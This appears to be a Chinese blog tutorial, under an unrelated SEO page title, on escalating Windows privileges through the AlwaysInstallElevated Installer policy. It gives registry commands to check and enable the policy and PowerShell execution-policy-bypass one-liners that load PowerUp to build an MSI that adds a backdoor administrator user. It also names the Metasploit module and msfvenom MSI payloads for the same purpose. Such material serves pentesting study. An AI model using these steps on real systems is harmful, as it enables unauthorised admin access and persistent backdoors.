wordpress做排行榜单/优化seo培训班
目录
- 漏洞描述
- 1.1Windows install概述
- 1.2注册表键AlwaysInstallElevated概述
- 漏洞原因
- 1、没有获取meterpreter的情况下
- 2、获取meterpreter的情况下
- 2.1msf提权
- 2.1msi安装文件提权
- 参考文献
漏洞描述
1.1Windows install概述
微软Windows Installer作为Win2K/WinXP/WinVista的组件之一,是专门用来管理和配置软件服务的工具。作为额外的产品提供,允许用户有效地安装与配置软件产品与应用程序。
Installer可以强制实施一些安装规则,以帮助防止当安装操作更新由现有程序共享的动态链接库(DLL) 文件时,或当卸载操作删除由另一个程序共享的 DLL 文件时出现冲突。
诊断并修复损坏的程序:程序可以要求Installer确定已安装的程序是否缺少文件,或者文件是否已损坏。然后,它可以要求该服务根据需要再次只复制已发现丢失或损坏的文件来修复该程序。
可靠地卸载现有程序:Installer可以可靠地卸载以前安装的任何程序,并删除所有相关联的注册表条目和程序文件,但其他已安装的软件所共享的文件及注册表条目除外。
支持按需安装程序功能:可以指示Installer首先安装程序的最小子集。之后,在您首次使用需要附加组件的功能时,会自动安装附加组件。
支持无人参与的程序安装:Installer支持根据管理员的指令使用脚本来安装程序。
Installer可以强制实施一些安装规则,以帮助防止当安装操作更新由现有程序共享的动态链接库(DLL) 文件时,或当卸载操作删除由另一个程序共享的 DLL 文件时出现冲突。
Windows Installer技术分为以下两部分,它们结合在一起工作:客户端安装服务 (Msiexec.exe) 和 Microsoft软件安装 (MSI)软件包文件。Windows Installer使用软件包文件中包含的信息安装程序。
Msiexec.exe程序是Windows Installer的一个组件。当安装程序调用Msiexec.exe时,它使用 Msi.dll 读取软件包(.msi) 文件,应用任何转换 (.mst) 文件,并合并安装程序所提供的命令行选项。Installer执行所有与安装有关的任务,包括将文件复制到硬盘、修改注册表、在桌面上创建快捷方式,以及在必要时显示对话框以提示用户输入安装首选项。
在计算机上安装Windows Installer后,它将更改注册的 .msi 文件的文件类型,以便当您双击 .msi 文件时,将运行 Msiexec.exe。
每个 MSI软件包文件都包含一个关系类型的数据库,用于存储在各种安装方案中安装(或卸载)该程序所需的指令和数据。
1.2注册表键AlwaysInstallElevated概述
Window注册表键AlwaysInstallElevated(始终以最高权限安装),而AlwaysInstallElevated就是一个策略,说白了注册表键权限提升的问题就是Windows配置策略问题,如果开启此项策略windows的任何用户都可以以最高权限运行安装执行.msi(Windows Installer的数据包)文件。
漏洞原因
查看Windows installer特权功能是否已启用
输入命令,查看
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
看到上面没有开启
通过设置启用
运行“gpedit.msc”组策略编辑器
选择“计算机配置”-“管理模板”-“Windows组件”-“Windows installer“-“永远以高权限进行安装”选择“已启用”。
选择“用户配置”-“管理模板”-“Windows组件”-“Windows installer“-“永远以高权限进行安装”选择“已启用”。
通过命令行启用
使用系统权限通过命令行修改注册表值为1
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
开启上述功能后,注册表下面也可以看到为16进制0x1。
1、没有获取meterpreter的情况下
利用PowerUp添加用户提权
通过执行命令查看是否已启用策略,如果没启用通过上个步骤去启用,相反为false。
powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString(‘C:\Users\Admin\DesktopPowerUp.ps1’); Get-RegistryAlwaysInstallElevated
执行下列命令,生成添加后门用户的UserAdd.msi文件。
powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString(‘C:\Users\Admin\DesktopPowerUp.ps1’); Write-UserAddMSI
执行msiexec.exe 来安装UserAdd.msi文件
参数 /quite 安装过程不发送消息 /qn不使用图形化安装 /i安装。
Net user查看用户
net localgroup administrators查看administrator管理组
2、获取meterpreter的情况下
2.1msf提权
生成exe先获取一个meterpreter
利用MSF的always_install_elevated模块提权
Set session 后执行run,提权成功。
2.1msi安装文件提权
Msfvenom生成msi文件马,执行提权。
参考文献
https://docs.microsoft.com/zh-cn/windows/win32/msi/alwaysinstallelevated